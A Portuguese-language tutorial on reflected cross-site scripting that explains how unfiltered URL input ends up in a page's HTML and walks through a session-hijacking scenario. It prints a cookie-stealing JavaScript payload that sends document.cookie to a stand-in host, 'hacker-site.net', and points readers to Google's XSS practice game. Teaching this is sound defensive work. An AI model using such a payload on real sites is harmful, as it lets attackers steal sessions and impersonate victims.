O que é script entre sites?
Cross-Site Scripting (XSS) é uma das técnicas de ataque mais populares da atualidade, conhecida como o Poderoso Chefão do Ataque, e por muitos anos foi listada como a técnica de ataque mais perigosa para aplicações web.
Não o chame de CSS abreviadamente para evitar confusão com o conceito Cascading Style Sheet do HTML.
A técnica
XSS é baseada na inserção de scripts perigosos no código-fonte do aplicativo da web. Para executar código Javascript malicioso para assumir o controle da sessão de login do usuário.
Para entender melhor, vamos considerar o seguinte exemplo. Uma aplicação web que permite imprimir o valor que passamos via URL, supondo que passamos na variável name o valor Ping:

Está tudo bem até agora, vamos revisar o código-fonte HTML:
![Web7: Explorações XSS – Parte 1: XSS refletido Web7: Explorações XSS – Parte 1: XSS refletido]()
O que é fácil de ver é que o valor do nome que inserimos foi inserido no código-fonte. Então é possível que tudo o que for importado também possa ser inserido. O problema se torna sério se o valor inserido não for uma string normal como acima, mas um trecho de código potencialmente perigoso, algo como isto:
Tente novamente com o valor acima:
![Web7: Explorações XSS – Parte 1: XSS refletido Web7: Explorações XSS – Parte 1: XSS refletido]()
Deste exemplo podemos concluir duas coisas. Primeiro, a variável name pode receber qualquer valor de entrada e transmiti-lo ao servidor para processamento. Segundo, o servidor não controlou esse valor de entrada antes de retorná-lo ao navegador. Isso faz com que o código javascript seja inserido no código-fonte.
O XSS é geralmente dividido em 3 tipos principais: Refletido, Armazenado e baseado em DOM. Neste artigo mencionarei principalmente a técnica Reflected XSS.
Até 75% das técnicas XSS são baseadas em XSS Refletido. Chama-se refletido porque neste tipo de cenário de exploração, o hacker deve enviar à vítima uma URL contendo código malicioso (geralmente javascript). A vítima só precisa solicitar esta URL e o hacker receberá imediatamente uma resposta contendo o resultado desejado (reflexividade mostrada aqui). Além disso, também é conhecido como XSS de primeira ordem.
Cenário de mineração da vida real
Existem muitas maneiras de explorar o erro Reflected XSS, uma das formas mais conhecidas é assumir o controle da sessão do usuário, acessando assim os dados e ganhando seus direitos no site.
Os detalhes são descritos nas seguintes etapas:
![Web7: Explorações XSS – Parte 1: XSS refletido Web7: Explorações XSS – Parte 1: XSS refletido]()
1. O usuário faz login na web e assume que uma sessão está atribuída:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. De alguma forma, o hacker envia ao usuário a URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Suponha que example.com seja o site que a vítima visita, hacker-site.net seja o site criado pelo hacker
3. A vítima acessa a URL acima
4. O servidor responde à vítima, juntamente com os dados contidos na solicitação (o snippet javascript do hacker)
5. O navegador vítima recebe a resposta e executa o javascript
6. O javascript real que o hacker criou é o seguinte:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
A linha de comando acima basicamente faz uma solicitação ao site do hacker com o parâmetro sendo o cookie do usuário:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. A partir do seu site, o hacker capturará o conteúdo da solicitação acima e considerará que a sessão do usuário foi controlada. Neste ponto, o hacker pode se passar pela vítima e exercer todos os direitos no site que a vítima possui.
Prática
O Google criou uma página para praticar a exploração de erros XSS aqui: https://xss-game.appspot.com
O objetivo desses desafios é que você injete scripts para abrir um pop-up. O primeiro desafio é ilustrar a técnica refletida, o código de exploração é bastante simples:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Boa sorte!